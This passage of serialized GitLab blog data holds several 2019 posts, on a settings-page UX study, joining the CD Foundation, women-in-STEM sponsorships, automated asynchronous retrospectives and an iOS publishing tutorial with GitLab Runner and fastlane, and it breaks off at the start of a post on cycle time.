❌   |\n| A greater number of users will click on the correct areas | ✅  |\n| Users will be more confident in their section choices (new compared to old) | ✅  |\n| The perceived difficulty of the tasks will improve | ✅ |\n\n## What’s next?\n\nWe want to continue building on this success and improve all settings pages. Unfortunately, the project settings redesign did not make it into 11.7, but we are hopeful it will be included in one of the next few releases. We will then proceed to improve the other settings pages, as well as other improvements, such as [adding inline search](https://gitlab.com/gitlab-org/gitlab-ce/issues/50145). You can follow our progress through the [Improve and align settings pages UX](https://gitlab.com/groups/gitlab-org/-/epics/196) epic.\n\nAs we move forward, we want to do more of this kind of validation/research. We want to come to a place where designers have enough time and confidence in doing their own UX research and do it before implementation starts, in a single milestone, so we can keep moving fast and shipping more awesome things. If you have UX research skills and experience and want to work at GitLab, [check out our Careers page](/jobs/).\n\nYou can also read more about [how we conduct remote UX research at GitLab](/blog/conducting-remote-ux-research/).\n\nCover image by [Alvaro Reyes](https://unsplash.com/photos/qWwpHwip31M?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/search/photos/user-test?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)",[676,2249,2248],{"slug":30385,"featured":6,"template":678},"quantifying-ux-validating-the-redesign-of-gitlabs-settings-pages","content:en-us:blog:quantifying-ux-validating-the-redesign-of-gitlabs-settings-pages.yml","Quantifying Ux Validating The Redesign Of Gitlabs Settings Pages","en-us/blog/quantifying-ux-validating-the-redesign-of-gitlabs-settings-pages.yml","en-us/blog/quantifying-ux-validating-the-redesign-of-gitlabs-settings-pages",{"_path":30391,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":30392,"content":30397,"config":30402,"_id":30404,"_type":16,"title":30405,"_source":17,"_file":30406,"_stem":30407,"_extension":20},"/en-us/blog/gitlab-joins-cd-foundation",{"title":30393,"description":30394,"ogTitle":30393,"ogDescription":30394,"noIndex":6,"ogImage":28098,"ogUrl":30395,"ogSiteName":1180,"ogType":1181,"canonicalUrls":30395,"schema":30396},"GitLab leads the industry forward with the CD Foundation","Today we're proud to announce we've joined the CD Foundation as a founding member.","https://about.gitlab.com/blog/gitlab-joins-cd-foundation","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab leads the industry forward with the CD Foundation\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2019-03-12\",\n      }",{"title":30393,"description":30394,"authors":30398,"heroImage":28098,"date":30399,"body":30400,"category":299,"tags":30401},[3532],"2019-03-12","\n\nToday GitLab joined the [CD Foundation](https://cd.foundation/announcement/2019/03/12/the-linux-foundation-announces-new-foundation-to-support-continuous-delivery-collaboration/) as a founding member, to help foster collaboration and educate the industry on how to enable any software development team around the world to implement CI/CD best practices.\n\nAs one of the first to introduce cloud native CI/CD to the industry, we are excited to see so many companies come together to discuss ways to take the industry forward to ensure that code is able to get to production not only quickly, but securely. We are looking forward to lending our experience working with millions of developers and thousands of enterprises to drive forward the conversation on best practices and standards to streamline the code delivery promise.\n\n## But there is more to software delivery than CI/CD\n\nWhile it is great there is an eye on the best CI/CD practices, we believe there is more to delivering great software to market than just CI/CD, which is why at GitLab we are focused on providing a single application for the entire DevOps lifecycle.\n\nIt is not only about source code management or CI/CD but also about:\n- [Value stream management](/solutions/value-stream-management/): Understanding your teams' work and their workflow so they can deliver value to customers faster.\n- Operational excellence: Implementing dynamic infrastructure and robust observability to increase uptime and decrease mean time to resolution.\n- Security flow: Building security into every step of your code delivery process, to deliver secure software without slowing the pace of innovation.\n- Monitoring: Automatically monitor metrics so you know how any change in code impacts your production environment.\n\nOur entire [2019 product vision and beyond](/blog/gitlab-product-vision/) is about continuing to build out new capabilities across the entire DevOps lifecycle, to make it easier for enterprises to streamline their processes into one application, helping teams innovate at faster speeds.\n\nAs an open source company, we value the community’s contributions, in helping make GitLab what it is today. We look forward to continuing to drive the industry forward in CI/CD, as well as working with you to help deliver your products to market quickly and securely.\n\nPhoto by [YIFEI CHEN](https://unsplash.com/photos/FPMRxKd7MxI?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/search/photos/spiral-lights?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[3949,1385,815],{"slug":30403,"featured":6,"template":678},"gitlab-joins-cd-foundation","content:en-us:blog:gitlab-joins-cd-foundation.yml","Gitlab Joins Cd Foundation","en-us/blog/gitlab-joins-cd-foundation.yml","en-us/blog/gitlab-joins-cd-foundation",{"_path":30409,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":30410,"content":30416,"config":30423,"_id":30425,"_type":16,"title":30426,"_source":17,"_file":30427,"_stem":30428,"_extension":20},"/en-us/blog/international-womens-day-gitlab-initiatives",{"title":30411,"description":30412,"ogTitle":30411,"ogDescription":30412,"noIndex":6,"ogImage":30413,"ogUrl":30414,"ogSiteName":1180,"ogType":1181,"canonicalUrls":30414,"schema":30415},"GitLab supports women in STEM for International Women's Day","We're shining a light on some of the initiatives we're proud to support, helping us to give back and foster a global community of women in technology.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680483/Blog/Hero%20Images/international-womens-day.jpg","https://about.gitlab.com/blog/international-womens-day-gitlab-initiatives","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Happy International Women’s Day! How we’re working to inspire and educate women in STEM\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Stephanie Garza\"}],\n        \"datePublished\": \"2019-03-08\",\n      }",{"title":30417,"description":30412,"authors":30418,"heroImage":30413,"date":30420,"body":30421,"category":6634,"tags":30422},"Happy International Women’s Day! How we’re working to inspire and educate women in STEM",[30419],"Stephanie Garza","2019-03-08","\n\nAs one of our six [core values](https://handbook.gitlab.com/handbook/values/), diversity is more than just a single project or initiative for GitLab.\nIt’s crucial for the success of our globally distributed team, and for the future of the tech industry as a whole.\nGitLab aims to make a significant impact in efforts to foster an environment where everyone can thrive.\nWe have designed a multidimensional approach to ensure we uphold a culture which embodies transparency, opportunity, and open communication.\n\nAs we celebrate [International Women’s Day](https://www.internationalwomensday.com/) today, we’re taking a moment to reflect on the progress so far, while recognizing there’s lots of work to be done to [#BalanceforBetter](https://www.internationalwomensday.com/Theme).\n\n## We're on a mission to support organizations where women thrive\n\nWe hope to shine a light on some of the initiatives we’re passionate about to help build awareness and encourage others to get involved.\n\n### Free workshops with Django Girls, Girls Get Geeky, and Rails Girls\n\nDjango Girls and GitLab partner to provide women free code workshops across the globe.\n[Django Girls](https://djangogirls.org/) (DG) strives to empower women to pursue careers in technology.\nThe free workshops equip women with a solid coding curriculum to kick start their professional journey.\nAlong with DG, we partner with [Girls Get Geeky](https://girlsgetgeeky.com/) and [Rails Girls](http://railsgirls.com/), organizations created to inspire and educate young women in tech.\nThe free workshops provide community, networking, and coding lessons to women of various backgrounds. The women share their goals, dreams (and delicious treats), which GitLab happily supports.\n\n### GitLab Diversity Sponsorship\n\nThrough the [GitLab Diversity Sponsorship program](/community/sponsorship/), we are able to contribute financially to the initiatives.\nThe goal is to foster a community of organizations with the desire to inspire, encourage, and empower women.\nWe have had the pleasure of partnering with [Wonder Women in Tech](https://wonderwomentech.com/), [FemPower](https://www.fempowerafrica.com.ng/), [Women Who Code](https://www.womenwhocode.com/), and [Women Hack](https://womenhack.com/events/), other incredible female-focused powerhouses in the industry.\nThe collaborations allow Gitlab to connect on a greater scale with amazing women around the world. Visit our [Sponsorships page](/community/sponsorship/) to find out more and to apply.\n\nThe greater GitLab team is actively striving to impact change, raise awareness, and fully support global initiatives.\nWe came together at a recent summit to promote the [STEM Gems](https://stemgemsbook.com/), the foundation devoted to giving girls role models in Science, Technology, Engineering, and Mathematics (STEM).\n[GitLab team-members came together to share their stories](/blog/stem-gems-give-girls-role-models/) in hopes of inspiring women to pursue STEM.\nThese collaborations allow GitLab to connect on a greater scale with amazing women around the world. We hope to inspire the community to join us in our pursuit to provide opportunity. Visit the organizations' websites to learn more about contributing through volunteering, mentoring, or sponsoring. \n\n## Our goals for 2019 are even more aggressive\n\nWith the development of the [GitLab Mentorship program](https://gitlab.com/gitlab-com/people-ops/General/issues/178) we hope to inspire and motivate women from across the globe.\nThe goal is to contribute to the development of a better trained and engaged community.\nOur first round of applications is already in and, once paired, mentors will help mentees learn the ropes at the company, develop relationships across the organization, and identify skills to work on developing.\nThe next cohort of mentee applications will open in August.\n\nEducation and encouragement play a vital role in women’s pursuits.\nIn a typically male-dominated field, it’s important for women to come together and support, mentor, and encourage one another.\nThe women of GitLab embody this belief, taking on various projects, workshops, and volunteer opportunities.\nWe rally together to connect our distributed team.\n\nOf course, these initiatives are just a drop in the ocean.\nUniting our team through charity, sponsorship, and mentoring is one stride toward making global change.\nNarrowing the gender gap will remain a constant goal.\nWe aim to provide all GitLab team-members with the opportunity to thrive, contribute, and succeed.\nA balanced and inclusive team will accelerate our potential. [#BalanceforBetter](https://twitter.com/search?q=balance+for+better)\n\nPhoto by [Şahin Yeşilyaprak](https://unsplash.com/photos/SNm9Re4pL9M?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/search/photos/hot-air-balloon?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText  )\n{: .note}\n",[267,676],{"slug":30424,"featured":6,"template":678},"international-womens-day-gitlab-initiatives","content:en-us:blog:international-womens-day-gitlab-initiatives.yml","International Womens Day Gitlab Initiatives","en-us/blog/international-womens-day-gitlab-initiatives.yml","en-us/blog/international-womens-day-gitlab-initiatives",{"_path":30430,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":30431,"content":30436,"config":30441,"_id":30443,"_type":16,"title":30444,"_source":17,"_file":30445,"_stem":30446,"_extension":20},"/en-us/blog/how-we-used-gitlab-to-automate-our-monthly-retrospectives",{"title":30432,"description":30433,"ogTitle":30432,"ogDescription":30433,"noIndex":6,"ogImage":29290,"ogUrl":30434,"ogSiteName":1180,"ogType":1181,"canonicalUrls":30434,"schema":30435},"How we use GitLab to automate our monthly retrospectives","How one engineering team is using GitLab CI to automate asynchronous retrospectives, making collaboration across four continents a breeze.","https://about.gitlab.com/blog/how-we-used-gitlab-to-automate-our-monthly-retrospectives","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we use GitLab to automate our monthly retrospectives\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sean McGivern\"}],\n        \"datePublished\": \"2019-03-07\",\n      }",{"title":30432,"description":30433,"authors":30437,"heroImage":29290,"date":30438,"body":30439,"category":734,"tags":30440},[20267],"2019-03-07","\n\nAs an [Engineering\nManager] at GitLab I spend most of\nmy working day using GitLab for a variety of tasks – from using [issue boards](/stages-devops-lifecycle/issueboard/) for team assignments, [epics](https://docs.gitlab.com/ee/user/group/epics/) for tracking longer-term initiatives, and [todos](https://docs.gitlab.com/ee/user/todos.html) and notifications to manage my own workflow.\n\nWe also use GitLab in a number of unconventional ways, so I wanted to share with you one interesting use case we've been experimenting with.\n\n[Engineering Manager]: /handbook/engineering/management/\n\n## GitLab stage group retrospectives\n\nEach [stage group](/stages-devops-lifecycle/) at GitLab has its [own retrospective], which then feeds into the\n[GitLab-wide retrospective] we have for each monthly release.\n\n[own retrospective]: /handbook/engineering/management/group-retrospectives/\n[GitLab-wide retrospective]: /handbook/engineering/workflow/#retrospective\n\nThe [Plan team](/handbook/engineering/development/dev/plan/) is fairly widely\ndistributed: we have people on four continents, and only two members of the team\nare even in the same country as each other. We wanted to try [asynchronous\ncommunication] wherever possible, so we used GitLab issues for [our\nretrospectives], too.\n\nA quick note on terminology: we say [team] to refer to a manager – like me – and\ntheir reports. We say [stage group] to refer to the people who work on a\nparticular [DevOps stage], even across multiple teams. The Plan stage group is\neven more widely distributed.\n{: .note}\n\n[team]: /company/team/structure/#team-and-team-members\n[stage group]: /company/team/structure/#stage-groups\n[DevOps stage]: /handbook/product/categories/#devops-stages\n[asynchronous communication]: /handbook/communication#internal-communication\n[our retrospectives]: https://gitlab.com/gl-retrospectives/plan/issues?label_name[]=retrospective\n\n## Automating retrospective issue creation\n\nCreating the retrospective issue was fast, but adding links to notable\nissues that we shipped or that slipped was time consuming and\ntedious. In the spirit of [xkcd 1319], I decided to automate it, so I\ncreated the [async-retrospectives] project. This project makes\nretrospective issue creation a hands-off process:\n\n[xkcd 1319]: https://xkcd.com/1319/\n[async-retrospectives]: https://gitlab.com/gitlab-org/async-retrospectives\n\n1. It uses [scheduled pipelines] to create an issue on the 1st of each\n   month. As our [development month] runs from the 8th to the 7th, this\n   is a little early, but it allows the team to jot down any thoughts\n   they have while they are still working on the release.\n\n   ![](https://about.gitlab.com/images/blogimages/how-we-used-gitlab-to-automate-our-monthly-retrospectives/scheduled-pipelines.png){: .shadow}\n2. The issue is created using the standard [GitLab API], using a [protected\n   variable] to hold the credentials.\n3. When we create the issue, we use [quick actions] to add the correct\n   labels and due date in a convenient way. (This is also possible\n   without quick actions, but quick actions are more convenient for me\n   personally.)\n4. Another scheduled pipeline runs on the 9th of each month to update\n   the existing issue's description with the lists of issues (slipped,\n   shipped) I mentioned above.\n\n   We make our retrospectives public after we conclude them, so you can see this\n   in action on the [11.8 Plan retrospective]:\n\n   [![](https://about.gitlab.com/images/blogimages/how-we-used-gitlab-to-automate-our-monthly-retrospectives/11-8-plan-retrospective.png){: .shadow}][11.8 Plan retrospective]\n\n[scheduled pipelines]: https://docs.gitlab.com/ee/ci/pipelines/schedules.html\n[development month]: /handbook/engineering/workflow/#product-development-timeline\n[GitLab API]: https://docs.gitlab.com/ee/api/\n[protected variable]: https://docs.gitlab.com/ee/ci/variables/#protected-variables\n[quick actions]: https://docs.gitlab.com/ee/user/project/quick_actions.html\n[11.8 Plan retrospective]: https://gitlab.com/gl-retrospectives/plan/issues/22\n\nI only intended this for use in Plan, but a nice thing about a company where we\n[give agency] to people to solve their problems is that people like me are able\nto try out things that might not work globally, like this.\n\nAs it happened, it's also been [picked up by other teams and groups]. We\nconfigure the creation in a [YAML file], just like GitLab CI is configured, to\ntry to make it as easy as possible for other managers to contribute and set this\nup for their team.\n\n[give agency]: https://handbook.gitlab.com/handbook/values/#give-agency\n[picked up by other teams and groups]: https://gitlab.com/gitlab-org/async-retrospectives/merge_requests?state=merged\n[YAML file]: https://gitlab.com/gitlab-org/async-retrospectives/blob/master/teams.yml\n\n## Our experience running asynchronous retrospectives\n\n### What works\n\nWe've had a lot of positive experiences from these asynchronous\nretrospectives. In particular:\n\n1. No one is disadvantaged because of their time zone. If we had a video call\n   with our time zone spread, we'd have some people on that call in the middle of\n   their night, or missing out completely.\n2. Because they are written down from the start, and because comments in GitLab\n   are linkable, we can very easily refer to specific points in the future.\n3. Also, because they are written down, the comments can include links to\n   specific issues and merge requests to help other people get the same context.\n\n### What needs improvement\n\nAsynchronous retrospectives aren't perfect, of course. Some of the downsides\nwe've noticed are:\n\n1. Video calls are simply better for some things. In particular, the discussion\n   does not flow as smoothly in text as it can in a verbal conversation.\n\n   We also conduct our [engineering-wide retrospective] in a [public video\n   call], so we retain some opportunity for synchronous discussion.\n2. Similarly, team bonding is slower in text than in video calls.\n3. Participation can be lower if it's something you don't have to do right now,\n   but can always defer to a later date. We are continually [looking for ways to improve\n   this].\n\nOver all, we don't intend to go back to video calls for retrospectives,\nand we're really happy with the results. You can see all public\nretrospectives from the teams and groups at GitLab in the [GitLab\nretrospectives group on GitLab.com].\n\n[engineering-wide retrospective]: https://docs.google.com/document/d/1nEkM_7Dj4bT21GJy0Ut3By76FZqCfLBmFQNVThmW2TY/edit\n[public video call]: /2017/02/14/our-retrospective-and-kickoff-are-public/\n[looking for ways to improve this]: https://gitlab.com/gitlab-org/async-retrospectives/issues/12\n[GitLab retrospectives group on GitLab.com]: https://gitlab.com/gl-retrospectives\n\nPhoto by [Daniele Levis Pelusi](https://unsplash.com/photos/Pp9qkEV_xPk?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/search/photos/automation?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[110,2368,676,1444],{"slug":30442,"featured":6,"template":678},"how-we-used-gitlab-to-automate-our-monthly-retrospectives","content:en-us:blog:how-we-used-gitlab-to-automate-our-monthly-retrospectives.yml","How We Used Gitlab To Automate Our Monthly Retrospectives","en-us/blog/how-we-used-gitlab-to-automate-our-monthly-retrospectives.yml","en-us/blog/how-we-used-gitlab-to-automate-our-monthly-retrospectives",{"_path":30448,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":30449,"content":30455,"config":30460,"_id":30462,"_type":16,"title":30463,"_source":17,"_file":30464,"_stem":30465,"_extension":20},"/en-us/blog/ios-publishing-with-gitlab-and-fastlane",{"title":30450,"description":30451,"ogTitle":30450,"ogDescription":30451,"noIndex":6,"ogImage":30452,"ogUrl":30453,"ogSiteName":1180,"ogType":1181,"canonicalUrls":30453,"schema":30454},"How to publish iOS apps to the App Store with GitLab and fastlane","See how GitLab, together with fastlane, can build, sign, and publish apps for iOS to the App Store.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680470/Blog/Hero%20Images/ios-publishing-cover.jpg","https://about.gitlab.com/blog/ios-publishing-with-gitlab-and-fastlane","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to publish iOS apps to the App Store with GitLab and fastlane\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jason Yavorska\"}],\n        \"datePublished\": \"2019-03-06\",\n      }",{"title":30450,"description":30451,"authors":30456,"heroImage":30452,"date":30457,"body":30458,"category":734,"tags":30459},[22054],"2019-03-06","\n\n_Note: You may also find the blog post [Tutorial: iOS CI/CD with GitLab](/blog/ios-cicd-with-gitlab/) from June 2023 helpful._\n\nRecently we published a [blog post\ndetailing how to get up and running quickly with your Android app](/blog/android-publishing-with-gitlab-and-fastlane/), GitLab, and\n[_fastlane_](https://fastlane.tools). In this edition, let's look at how to get\na build of an iOS app up and running, including publishing all the way to\nTestFlight. To see how cool this can be, check out this [video\nof me making a change on an iPad Pro using the GitLab Web IDE](https://www.youtube.com/watch?v=325FyJt7ZG8), getting that\nbuilt, and then receiving an update to the test version of my application on the\nvery same iPad Pro I was using to develop.\n\nFor the purposes of this article, we'll be using a [simple Swift iOS app](https://gitlab.com/jyavorska/flappyokr)\nthat I recorded the video with.\n\n## First, a note on Apple Store configuration\n\nWhat we're going to need in order to set all of this up is a mobile application set up\nin the App Store, distribution certificates, and a provisioning profile that ties\nit all together.\n\nMost of the complexity here actually has to do with setting up your signing\nauthority for the App Store. Hopefully in most cases this is already good to go\nfor you; if you're a new app developer, I'll try to get you started on the right\ntrack, but the intricacies of Apple certificate management is out of the scope of\nthis article, and tends to change somewhat frequently. But, this information\nshould get you going.\n\n### My apps\n\nYour application will need to be set up in App Store Connect so you have an ID\nfor your application, which will be used in your `.xcodebuild` configuration.\nYour app profile and ID are what tie together the code builds with pricing and\navailability, as well as TestFlight configuration for distributing testing\napplications to your users. Note that you don't need to set up public testing –\nyou can use personal testing with TestFlight just fine as long as your testing\ngroup is small, and the setup is simpler and requires no additional approvals\nfrom Apple.\n\n### Provisioning profile\n\nIn addition to the app setup, you need iOS distribution and development keys\ncreated in the Certificates, Identifiers, and Profiles section of the Apple\nDeveloper console. Once these certificates are created, you can create a\nprovisioning profile to unify everything.\n\nAlso note that the user you will authenticate with needs to be able to create\ncertificates, so please ensure that they have that ability or you will see an\nerror during the [_cert_ and _sigh_](https://docs.fastlane.tools/codesigning/getting-started/#using-cert-and-sigh)\nsteps.\n\n### Other options\n\nThere are several more ways to set up your certificates and profiles than the\nsimple method I've described above, so if you're doing something different you may\nneed to adapt. The most important thing is that you need your `.xcodebuild`\nconfiguration to point to the appropriate files, and your keychain needs to be\navailable on the build machine for the user that the runner is running as. We're\nusing _fastlane_ for signing, so if you run into trouble here or want to learn\nmore about your options, take a look at their extensive [code signing documentation](https://docs.fastlane.tools/codesigning/getting-started/).\n\nFor this sample project, I'm using the [_cert_ and _sigh_](https://docs.fastlane.tools/codesigning/getting-started/#using-cert-and-sigh)\napproach, but the [match\napproach](https://docs.fastlane.tools/codesigning/getting-started/#using-match) may be better for actual enterprise use.\n\n## How to set up GitLab and _fastlane_\n\n### How to set up your CI/CD runner\n\nWith the above information gathered or set up, we can start with configuring the\nGitLab runner on a macOS device. Unfortunately, building on macOS is the only\nrealistic way to build iOS apps. This is potentially changing in the future;\nkeep an eye on projects like [xcbuild](https://github.com/facebook/xcbuild) and\n[isign](https://github.com/saucelabs/isign), as well as our own internal issue\n[gitlab-ce#57576](https://gitlab.com/gitlab-org/gitlab-ce/issues/57576) for\ndevelopments in this area.\n\nIn the meantime, setting up the runner is fairly straightforward. You can follow\nour most current [instructions for setting up GitLab Runner on macOS](https://docs.gitlab.com/runner/install/osx.html)\nto get that up and running.\n\nNote: Be sure to set your GitLab runner to use the `shell` executor. For building iOS on\nmacOS, it's a requirement to operate directly as the user on the machine rather\nthan using containers. Note that when you're using the shell executor, the\nbuild and tests run as the identity of the runner logged in user, directly on\nthe build host. This is less secure than using container executors, so please\ntake a look at our [security implications documentation](https://docs.gitlab.com/runner/security/#usage-of-shell-executor)\nfor additional detail on what to keep in mind in this scenario.\n\n```\nsudo curl --output /usr/local/bin/gitlab-runner https://gitlab-runner-downloads.s3.amazonaws.com/latest/binaries/gitlab-runner-darwin-amd64\nsudo chmod +x /usr/local/bin/gitlab-runner\ncd ~\ngitlab-runner install\ngitlab-runner start\n```\n\nWhat you need to be careful about here is ensuring your Apple keychain is set up\non this host and has access to the keys that Xcode needs in order\nto build. The easiest way to test this is to log in as the user that will be\nrunning the build and try to build manually. You may receive system prompts for\nkeychain access which you need to \"always allow\" for CI/CD to work. You will probably\nalso want to log in and watch your first pipeline or two to make sure that\nno prompts come up for additional keychain access. Unfortunately Apple does not\nmake this super easy to use in unattended mode, but once you have it working it\ntends to stay that way.\n\n### _fastlane_ init\n\nIn order to start using _fastane_ with your project, you'll need to run\n`fastlane init`. Simply follow the [instructions\nto install and run _fastlane_](https://docs.fastlane.tools/getting-started/ios/setup/), being sure to use the instructions in the\n[Use a Gemfile](https://docs.fastlane.tools/getting-started/ios/setup/#use-a-gemfile)\nsection, since we do want this to run quickly and predictably via unattended CI.\n\nFrom your project directory, you can run the following commands:\n\n```\nxcode-select --install\nsudo gem install fastlane -NV\n# Alternatively using Homebrew\n# brew cask install fastlane\nfastlane init\n```\n\n_fastlane_ will ask you for some basic configuration and then create a project folder\ncalled `fastlane` in your project which will contain three files:\n\n#### 1. `fastlane/Appfile`\n\nThis file is straightforward, so you just want to check to make sure that the Apple\nID and app ID that you set up earlier are correct.\n\n```\napp_identifier(\"com.vontrance.flappybird\") # The bundle identifier of your app\napple_id(\"your-email@your-domain.com\") # Your Apple email address\n```\n\n#### 2. `fastlane/Fastfile`\n\nThe `Fastfile` defines the build steps. Since we're using a lot of the built-in\ncapability of _fastlane_ this is really straightforward. We create a single\nlane which gets certificates, builds, and uploads the new build to TestFlight.\nOf course, you may want to split these out into different jobs depending on your\nuse case. Each of these steps, `get_certificates`, `get_provisioning_profile`,\n`gym`, and `upload_to_testflight` are pre-bundled actions already included with\n_fastlane_.\n\n`get_certificates` and `get_provisioning_profile` are actions associated with\nthe [_cert_ and _sigh_](https://docs.fastlane.tools/codesigning/getting-started/#using-cert-and-sigh)\napproach to code signing; if you're using _fastlane_ [match](https://docs.fastlane.tools/codesigning/getting-started/#using-match)\nor some other approach you may need to update these.\n\n```yaml\ndefault_platform(:ios)\n\nplatform :ios do\n  desc \"Build the application\"\n  lane :flappybuild do\n    get_certificates\n    get_provisioning_profile\n    gym\n    upload_to_testflight\n  end\nend\n```\n\n#### 3. `fastlane/Gymfile`\n\nThis `gym` file is optional, but I created it manually in order to override the default\noutput directory and place the output in the current folder. This makes things a\nbit easier for CI. You can read more about `gym` and its options in the\n[gym documentation](https://docs.fastlane.tools/actions/gym/).\n\n```yaml\noutput_directory(\"./\")\n```\n\n### Our `.gitlab-ci.yml` configuration file\n\nNow, we have a CI/CD runner associated with our project so we're ready to try a\npipeline. Let's see what's in our `.gitlab-ci.yml` file:\n\n```yaml\nstages:\n  - build\n\nvariables:\n  LC_ALL: \"en_US.UTF-8\"\n  LANG: \"en_US.UTF-8\"\n  GIT_STRATEGY: clone\n\nbuild:\n  stage: build\n  script:\n    - bundle install\n    - bundle exec fastlane flappybuild\n  artifacts:\n    paths:\n    - ./FlappyBird.ipa\n```\n\nYes, that's really it! [We set UTF-8 locale for _fastlane_ per their\nrequirements](https://docs.fastlane.tools/getting-started/ios/setup/#set-up-environment-variables),\nuse a `clone` strategy with the `shell` executor to ensure we have a clean\nworkspace each build, and then simply call our `flappybuild` _fastlane_ target,\nwhich we discussed above. This will build, sign, and deploy the latest build to\nTestFlight.\n\nWe also gather the artifact and save it with the build – note that the `.ipa`\nformat output is a signed ARM executable, so not something you can run in the\nsimulator. If you wanted a simulator output to be saved with the build, you\nwould simply add a build target that produces it and then add it to the artifact\npath.\n\n### Other environment variables\n\nThere are some special environment variables behind the scenes here that are\nmaking this work.\n\n#### `FASTLANE_APPLE_APPLICATION_SPECIFIC_PASSWORD` and `FASTLANE_SESSION`\n\nIn order to authenticate against the App Store for the TestFlight upload,\n_fastlane_ must be able to authenticate. In order to do this, you need to\ncreate an app-specific password to be used by CI. You can read more about this\nprocess in [this documentation](https://docs.fastlane.tools/best-practices/continuous-integration/#use-of-application-specific-passwords-and-spaceauth).\n\nIf you're using two-factor authentication, you'll also need to generate the\n`FASTLANE_SESSION` variable – instructions are in the same place.\n\n#### `FASTLANE_USER` and `FASTLANE_PASSWORD`\n\nIn order for [_cert_ and _sigh_](https://docs.fastlane.tools/codesigning/getting-started/#using-cert-and-sigh)\nto be able to fetch the provisioning profile and certificates on demand, the\n`FASTLANE_USER` and `FASTLANE_PASSWORD` variables must be set. You can read more\nabout this [here](https://docs.fastlane.tools/best-practices/continuous-integration/#environment-variables-to-set).\nYou may not need these if you are using some other approach to signing.\n\n## In closing...\n\nRemember, you can see a working project with all of this set up by heading over\nto my [simple demo app](https://gitlab.com/jyavorska/flappyokr).\n\nHopefully this has been helpful and has inspired you to get iOS builds and\npublishing working within your GitLab project. There is some good additional\n[CI/CD best-practice](https://docs.fastlane.tools/best-practices/continuous-integration/)\ndocumentation for _fastlane_ if you get stuck anywhere,\nand you could also consider using the `CI_BUILD_ID` (which increments each build)\nto [automatically increment a version](https://docs.fastlane.tools/best-practices/continuous-integration/gitlab/#auto-incremented-build-number).\n\nAnother great capability of _fastlane_ to try is the ability to\n[automatically generate screenshots](https://docs.fastlane.tools/getting-started/ios/screenshots/)\nfor the App Store – it's just as easy to set up as the rest of this has been.\n\nWe'd love to hear in the comments how this is working for you, as well as your\nideas for how we can make GitLab a better place to do iOS development in general.\n\nPhoto by eleven_x on [Unsplash](https://unsplash.com/photos/lwaw_DL09S4)\n{: .note}\n",[110,232,754],{"slug":30461,"featured":6,"template":678},"ios-publishing-with-gitlab-and-fastlane","content:en-us:blog:ios-publishing-with-gitlab-and-fastlane.yml","Ios Publishing With Gitlab And Fastlane","en-us/blog/ios-publishing-with-gitlab-and-fastlane.yml","en-us/blog/ios-publishing-with-gitlab-and-fastlane",{"_path":30467,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":30468,"content":30473,"config":30477,"_id":30479,"_type":16,"title":30480,"_source":17,"_file":30481,"_stem":30482,"_extension":20},"/en-us/blog/reduce-cycle-time",{"title":30469,"description":30470,"ogTitle":30469,"ogDescription":30470,"noIndex":6,"ogImage":29685,"ogUrl":30471,"ogSiteName":1180,"ogType":1181,"canonicalUrls":30471,"schema":30472},"Want to reduce cycle time? Commit to a new approach.","We have a new way of looking at cycle time. Let’s talk about it.","https://about.gitlab.com/blog/reduce-cycle-time","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Want to reduce cycle time? Commit to a new approach.\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Suri Patel\"}],\n        \"datePublished\": \"2019-03-04\",\n      }",{"title":30469,"description":30470,"authors":30474,"heroImage":29685,"date":30475,"body":30476,"category":8943},[20767],"2019-03-04","\nTraditionally, software leaders use `cycle time` to refer to [the time between\nstarting and delivering software](https://www.isixsigma.com/tools-templates/software/software-projects-cycle-time-%E2%90%98are-we-there-yet%E2%90%99/).\nMore specifically, it's the time between an engineer beginning work on an\nissue/feature and when that code is finally deployed to production and accessible\nto users. Historically, this definition has arisen from a siloed view of software\ndevelopment. Engineering leaders talk about the cycle time that affects engineering,\nbut they don't include the planning cycle time that the PMO contributed before\nthe project was handed off to the engineering org. Ultimately, this widely accepted\ndefinition of cycle time doesn't fully capture every stage of the software development lifecycle.\n\nWe've seen how powerful it can be when teams collaborate rather than work in silos,\nso we recommend including the planning stage when measuring cycle time. By measuring\ncycle time in this way, you capture the full efficiency of your end-to-end process,\nwhich can help you focus on finding and fixing inefficiencies across the full\nlifecycle of your software – not just one part of it.\n\n## A new perspective on cycle time\n\n{::options parse_block_html=\"true\" /}\n\n\u003Cdiv class=\"panel panel-success\">\n\n**CYCLE TIME**\n{: .panel-heading}\n\n\u003Cdiv class=\"panel-body\">\n\n/ˈsīk(ə)l/ /tīm\n\n_noun_\n\n1. The elapsed time between starting to work on an idea and delivering to production.\n1. A determining factor in whether organizations can meet business demands while delivering value to customers.\n\n\u003C/div>\n\u003C/div>\n\n{::options parse_block_html=\"false\" /}\n\nThis new understanding of cycle time covers the entire software development\nlifecycle and accounts for the time invested in planning what actions\nto take to ship an idea. The planning stage of the software 